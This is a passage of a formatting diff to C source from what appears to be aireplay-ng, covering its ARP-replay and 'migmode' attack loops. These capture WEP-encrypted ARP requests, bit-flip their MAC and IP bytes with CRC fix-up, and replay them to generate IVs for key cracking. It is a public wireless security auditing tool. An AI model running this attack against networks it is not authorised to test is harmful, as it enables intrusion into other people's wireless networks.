+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent)
+				{
+					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+					{
+						free(arp);
+						fclose(f_cap_out);
+						return (1);
+					}
+				}
+
+				if (++arp_off1 >= nb_arp) arp_off1 = 0;
+			}
+		}
+
+		/* read a frame, and check if it's an ARP request */
+
+		if (opt.s_file == NULL)
+		{
+			gettimeofday(&tv, NULL);
+
+			caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+			if (caplen < 0)
+			{
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+
+			if (caplen == 0) continue;
+		}
+		else
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		/* check if it's a disas. or deauth packet */
+
+		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
+			&& !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_bad_pkt++;
+
+			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
+			{
+				erase_line(0);
+				printf("Notice: got a deauth/disassoc packet. Is the "
+					   "source MAC associated ?\n");
+
+				tc = time(NULL);
+				nb_bad_pkt = 0;
+			}
+		}
+
+		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
+		{
+			nb_ack_pkt++;
+		}
+
+		/* check if it's a potential ARP request */
+
+		opt.f_minlen = opt.f_maxlen = 68;
+
+		if (filter_packet(h80211, caplen) == 0) goto add_arp;
+
+		opt.f_minlen = opt.f_maxlen = 86;
+
+		if (filter_packet(h80211, caplen) == 0)
+		{
+		add_arp:
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			switch (h80211[1] & 3)
+			{
+				case 0: /* ad-hoc */
+				{
+					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
+					{
+						/* rewrite to an ad-hoc packet */
+
+						memcpy(h80211 + 4, BROADCAST, 6);
+						memcpy(h80211 + 10, opt.r_smac, 6);
+						memcpy(h80211 + 16, opt.f_bssid, 6);
+
+						h80211[1] = 0x40; /* WEP  */
+					}
+					else
+					{
+						nb_arp_tot++;
+						continue;
+					}
+
+					break;
+				}
+				case 1: /* ToDS */
+				{
+					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
+					{
+						/* rewrite to a FromDS packet */
+
+						memcpy(h80211 + 4, BROADCAST, 6);
+						memcpy(h80211 + 10, opt.f_bssid, 6);
+						memcpy(h80211 + 16, opt.f_bssid, 6);
+
+						h80211[1] = 0x42; /* ToDS & WEP  */
+					}
+					else
+					{
+						nb_arp_tot++;
+						continue;
+					}
+
+					break;
+				}
+				default:
+					continue;
+			}
+
+			//             h80211[0] = 0x08;   /* normal data */
+
+			/* if same IV, perhaps our own packet, skip it */
+
+			for (i = 0; i < nb_arp; i++)
+			{
+				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
+					break;
+			}
+
+			if (i < nb_arp) continue;
+
+			if (caplen > 128) continue;
+			/* add the ARP request in the ring buffer */
+
+			nb_arp_tot++;
+
+			/* Ring buffer size: by default: 8 ) */
+
+			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
+				continue;
+			else
+			{
+
+				if ((arp[nb_arp].buf = malloc(128)) == NULL)
+				{
+					perror("malloc failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				memset(flip, 0, 4096);
+
+				//                 flip[49-24-4] ^= ((rand() % 255)+1); //flip
+				//                 random bits in last byte of sender MAC
+				//                 flip[53-24-4] ^= ((rand() % 255)+1); //flip
+				//                 random bits in last byte of sender IP
+				flip[z + 21]
+					^= ((rand() % 255)
+						+ 1); // flip random bits in last byte of sender MAC
+				flip[z + 25]
+					^= ((rand() % 255)
+						+ 1); // flip random bits in last byte of sender IP
+
+				add_crc32_plain(flip, caplen - z - 4 - 4);
+				for (i = 0; i < caplen - z - 4; i++)
+					(h80211 + z + 4)[i] ^= flip[i];
+
+				memcpy(arp[nb_arp].buf, h80211, caplen);
+				arp[nb_arp].len = caplen;
+				arp[nb_arp].hdrlen = z;
+				nb_arp++;
+
+				pkh.tv_sec = tv.tv_sec;
+				pkh.tv_usec = tv.tv_usec;
+				pkh.caplen = caplen;
+				pkh.len = caplen;
+
+				n = sizeof(pkh);
+
+				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				n = pkh.caplen;
+
+				if (fwrite(h80211, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				fflush(f_cap_out);
+			}
+		}
+	}
+	fclose(f_cap_out);
+	return (0);
 }
 
-int do_attack_migmode( void )
+static int do_attack_migmode(void)
 {
-    int nb_bad_pkt;
-    int arp_off1, arp_off2;
-    int i, n, caplen, nb_arp, z;
-    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
-    unsigned char flip[4096];
-    unsigned char senderMAC[6];
-
-    time_t tc;
-    float f, ticks[3];
-    struct timeval tv;
-    struct timeval tv2;
-    struct tm *lt;
-
-    FILE *f_cap_out;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
-    struct ARP_req * arp;
-
-    if ( opt.ringbuffer )
-        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
-    else
-        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );
-
-    if (arp == NULL)
-        return 1;
-
-    /* capture only WEP data to broadcast address */
-
-    opt.f_type    = 2;
-    opt.f_subtype = 0;
-    opt.f_iswep   = 1;
-    opt.f_fromds  = 1;
-
-    if(getnet(NULL, 1, 1) != 0){
-        free(arp);
-        return 1;
-    }
+	int nb_bad_pkt;
+	int arp_off1, arp_off2;
+	int i, n, caplen, nb_arp, z;
+	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
+	unsigned char flip[4096];
+	unsigned char senderMAC[6];
+
+	time_t tc;
+	float f, ticks[3];
+	struct timeval tv;
+	struct timeval tv2;
+	struct tm * lt;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+	struct ARP_req * arp;
+
+	if (opt.ringbuffer)
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+	else
+		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req));
+
+	if (arp == NULL) return 1;
+
+	/* capture only WEP data to broadcast address */
+
+	opt.f_type = 2;
+	opt.f_subtype = 0;
+	opt.f_iswep = 1;
+	opt.f_fromds = 1;
 
-    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
-    {
-        printf( "Please specify a BSSID (-b).\n" );
-        free(arp);
-        return( 1 );
-    }
-    /* create and write the output pcap header */
+	if (getnet(NULL, 1, 1) != 0)
+	{
+		free(arp);
+		return 1;
+	}
+
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-b).\n");
+		free(arp);
+		return (1);
+	}
+	/* create and write the output pcap header */
+
+	gettimeofday(&tv, NULL);
 
-    gettimeofday( &tv, NULL );
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
 
-    pfh_out.magic         = TCPDUMP_MAGIC;
-    pfh_out.version_major = PCAP_VERSION_MAJOR;
-    pfh_out.version_minor = PCAP_VERSION_MINOR;
-    pfh_out.thiszone      = 0;
-    pfh_out.sigfigs       = 0;
-    pfh_out.snaplen       = 65535;
-    pfh_out.linktype      = LINKTYPE_IEEE802_11;
+	printf("Saving ARP requests in %s\n", strbuf);
 
-    lt = localtime( (const time_t *) &tv.tv_sec );
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(arp);
+		return (1);
+	}
 
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_arp-%02d%02d-%02d%02d%02d.cap",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+	n = sizeof(struct pcap_file_header);
 
-    printf( "Saving ARP requests in %s\n", strbuf );
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		free(arp);
+		fclose(f_cap_out);
+		return (1);
+	}
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        free(arp);
-        return( 1 );
-    }
+	fflush(f_cap_out);
 
-    n = sizeof( struct pcap_file_header );
+	printf("You should also start airodump-ng to capture replies.\n");
+	printf("Remember to filter the capture to only keep WEP frames: ");
+	printf(" \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
+	// printf( "Remember to filter the capture to keep only broadcast From-DS
+	// frames.\n");
 
-    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed\n" );
-        free(arp);
-        fclose( f_cap_out );
-        return( 1 );
-    }
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			free(arp);
+			fclose(f_cap_out);
+			return (1);
+		}
+	}
 
-    fflush( f_cap_out );
+	memset(ticks, 0, sizeof(ticks));
 
-    printf( "You should also start airodump-ng to capture replies.\n" );
-    printf( "Remember to filter the capture to only keep WEP frames: ");
-    printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
-    //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n");
+	tc = time(NULL) - 11;
 
-    if(opt.port_in <= 0)
-    {
-        /* avoid blocking on reading the socket */
-        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            free(arp);
-            fclose( f_cap_out );
-            return( 1 );
-        }
-    }
+	nb_pkt_read = 0;
+	nb_bad_pkt = 0;
+	nb_ack_pkt = 0;
+	nb_arp = 0;
+	nb_arp_tot = 0;
+	arp_off1 = 0;
+	arp_off2 = 0;
 
-    memset( ticks, 0, sizeof( ticks ) );
+	while (1)
+	{
+		/* sleep until the next clock tick */
 
-    tc = time( NULL ) - 11;
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
 
-    nb_pkt_read = 0;
-    nb_bad_pkt  = 0;
-    nb_ack_pkt  = 0;
-    nb_arp      = 0;
-    nb_arp_tot  = 0;
-    arp_off1    = 0;
-    arp_off2    = 0;
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
+				   "sent %lu packets...(%d pps)\r",
+				   nb_pkt_read,
+				   nb_arp_tot,
+				   nb_ack_pkt,
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+		}
 
-    while( 1 )
-    {
-        /* sleep until the next clock tick */
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* threshold reach, send one frame */
+
+			ticks[2] = 0;
+
+			if (nb_arp > 0)
+			{
+				if (nb_pkt_sent == 0) ticks[0] = 0;
+
+				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+				{
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
 
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                free( arp );
-                fclose( f_cap_out );
-                return( 1 );
-            }
-
-            ticks[0]++;
-            ticks[1]++;
-            ticks[2]++;
-        }
-        else
-        {
-            gettimeofday( &tv,  NULL );
-            usleep( 1000000/RTC_RESOLUTION );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-        }
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
-                    "sent %ld packets...(%d pps)\r",
-                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
-            fflush( stdout );
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
-        {
-            /* threshold reach, send one frame */
-
-            ticks[2] = 0;
-
-            if( nb_arp > 0 )
-            {
-                if( nb_pkt_sent == 0 )
-                    ticks[0] = 0;
-
-                if( send_packet( arp[arp_off1].buf,
-                                 arp[arp_off1].len ) < 0 )
-                {
-                    free(arp);
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
-                {
-                    if( send_packet( arp[arp_off1].buf,
-                                    arp[arp_off1].len ) < 0 )
-                    {
-                        free(arp);
-                        fclose( f_cap_out );
-                        return( 1 );
-                    }
-                }
-
-                if( ++arp_off1 >= nb_arp )
-                    arp_off1 = 0;
-            }
-        }
-
-        /* read a frame, and check if it's an ARP request */
-
-        if( opt.s_file == NULL )
-        {
-            gettimeofday( &tv, NULL );
-
-            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-            if( caplen  < 0 )
-            {
-                free( arp );
-                fclose( f_cap_out );
-                return( 1 );
-            }
-            if( caplen == 0 ) continue;
-        }
-        else
-        {
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            tv.tv_sec  = pkh.tv_sec;
-            tv.tv_usec = pkh.tv_usec;
-
-            n = caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
-            {
-                printf( "\r\33[KInvalid packet length %d.\n", n );
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                /* remove the prism header */
-
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-        }
-
-        nb_pkt_read++;
-
-        /* check if it's a disas. or deauth packet */
-
-        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
-            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
-        {
-            nb_bad_pkt++;
-
-            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
-            {
-                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
-                        "source MAC associated ?\n" );
-
-                tc = time( NULL );
-                nb_bad_pkt = 0;
-            }
-        }
-
-        if( h80211[0] == 0xD4 &&
-            ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
-        {
-            nb_ack_pkt++;
-        }
-
-        /* check if it's a potential ARP request */
-
-        opt.f_minlen = opt.f_maxlen = 68;
-
-        if( filter_packet( h80211, caplen ) == 0 )
-            goto add_arp;
-
-        opt.f_minlen = opt.f_maxlen = 86;
-
-        if( filter_packet( h80211, caplen ) == 0 )
-        {
-add_arp:
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            switch( h80211[1] & 3 )
-            {
-                case  2: /* FromDS */
-                {
-                    if(memcmp(h80211 + 4, BROADCAST, 6) == 0)
-                    {
-                        /* backup sender MAC */
-
-                        memset( senderMAC, 0, 6 );
-                        memcpy( senderMAC, h80211 + 16, 6 );
-
-                        /* rewrite to a ToDS packet */
-
-                        memcpy( h80211 + 4, opt.f_bssid,  6 );
-                        memcpy( h80211 + 10, opt.r_smac,  6 );
-                        memcpy( h80211 + 16, BROADCAST, 6 );
-
-                        h80211[1] = 0x41;   /* ToDS & WEP  */
-                    }
-                    else
-                    {
-                        nb_arp_tot++;
-                        continue;
-                    }
-
-                    break;
-                }
-                default:
-                    continue;
-            }
-
-//             h80211[0] = 0x08;   /* normal data */
-
-            /* if same IV, perhaps our own packet, skip it */
-
-            for( i = 0; i < nb_arp; i++ )
-            {
-                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
-                    break;
-            }
-
-            if( i < nb_arp )
-                continue;
-
-            if( caplen > 128)
-                continue;
-            /* add the ARP request in the ring buffer */
-
-            nb_arp_tot++;
-
-            /* Ring buffer size: by default: 8 ) */
-
-            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
-                continue;
-            else {
-
-                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
-                    perror( "malloc failed" );
-                    free(arp);
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                memset(flip, 0, 4096);
-
-                /* flip the sender MAC to convert it into the source MAC  */
-                flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
-                flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
-                flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
-                flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
-                flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
-                flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
-                flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
-
-                add_crc32_plain(flip, caplen-z-4-4);
-                for(i=0; i<caplen-z-4; i++)
-                {
-                    (h80211+z+4)[i] ^= flip[i];
-                }
-
-                memcpy( arp[nb_arp].buf, h80211, caplen );
-                arp[nb_arp].len = caplen;
-                arp[nb_arp].hdrlen = z;
-                nb_arp++;
-
-                pkh.tv_sec  = tv.tv_sec;
-                pkh.tv_usec = tv.tv_usec;
-                pkh.caplen  = caplen;
-                pkh.len     = caplen;
-
-                n = sizeof( pkh );
-
-                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
-                    perror( "fwrite failed" );
-                    free( arp );
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                n = pkh.caplen;
-
-                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
-                    perror( "fwrite failed" );
-                    free( arp );
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                fflush( f_cap_out );
-            }
-        }
-    }
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent)
+				{
+					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+					{
+						free(arp);
+						fclose(f_cap_out);
+						return (1);
+					}
+				}
+
+				if (++arp_off1 >= nb_arp) arp_off1 = 0;
+			}
+		}
+
+		/* read a frame, and check if it's an ARP request */
+
+		if (opt.s_file == NULL)
+		{
+			gettimeofday(&tv, NULL);
+
+			caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+			if (caplen < 0)
+			{
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+			if (caplen == 0) continue;
+		}
+		else
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		/* check if it's a disas. or deauth packet */
+
+		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
+			&& !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_bad_pkt++;
+
+			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
+			{
+				erase_line(0);
+				printf("Notice: got a deauth/disassoc packet. Is the "
+					   "source MAC associated ?\n");
+
+				tc = time(NULL);
+				nb_bad_pkt = 0;
+			}
+		}
+
+		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
+		{
+			nb_ack_pkt++;
+		}
+
+		/* check if it's a potential ARP request */
+
+		opt.f_minlen = opt.f_maxlen = 68;
+
+		if (filter_packet(h80211, caplen) == 0) goto add_arp;
+
+		opt.f_minlen = opt.f_maxlen = 86;
+
+		if (filter_packet(h80211, caplen) == 0)
+		{
+		add_arp:
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			switch (h80211[1] & 3)
+			{
+				case 2: /* FromDS */
+				{
+					if (memcmp(h80211 + 4, BROADCAST, 6) == 0)
+					{
+						/* backup sender MAC */
 
-    return( 0 );
+						memset(senderMAC, 0, 6);
+						memcpy(senderMAC, h80211 + 16, 6);
+
+						/* rewrite to a ToDS packet */
+
+						memcpy(h80211 + 4, opt.f_bssid, 6);
+						memcpy(h80211 + 10, opt.r_smac, 6);
+						memcpy(h80211 + 16, BROADCAST, 6);
+
+						h80211[1] = 0x41; /* ToDS & WEP  */
+					}
+					else
+					{
+						nb_arp_tot++;
+						continue;
+					}
+
+					break;
+				}
+				default:
+					continue;
+			}
+
+			//             h80211[0] = 0x08;   /* normal data */
+
+			/* if same IV, perhaps our own packet, skip it */
+
+			for (i = 0; i < nb_arp; i++)
+			{
+				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
+					break;
+			}
+
+			if (i < nb_arp) continue;
+
+			if (caplen > 128) continue;
+			/* add the ARP request in the ring buffer */
+
+			nb_arp_tot++;
+
+			/* Ring buffer size: by default: 8 ) */
+
+			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
+				continue;
+			else
+			{
+
+				if ((arp[nb_arp].buf = malloc(128)) == NULL)
+				{
+					perror("malloc failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				memset(flip, 0, 4096);
+
+				/* flip the sender MAC to convert it into the source MAC  */
+				flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
+				flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
+				flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
+				flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
+				flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
+				flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
+				flip[25] ^= ((rand() % 255)
+							 + 1); // flip random bits in last byte of sender IP
+
+				add_crc32_plain(flip, caplen - z - 4 - 4);
+				for (i = 0; i < caplen - z - 4; i++)
+				{
+					(h80211 + z + 4)[i] ^= flip[i];
+				}
+
+				memcpy(arp[nb_arp].buf, h80211, caplen);
+				arp[nb_arp].len = caplen;
+				arp[nb_arp].hdrlen = z;
+				nb_arp++;
+
+				pkh.tv_sec = tv.tv_sec;
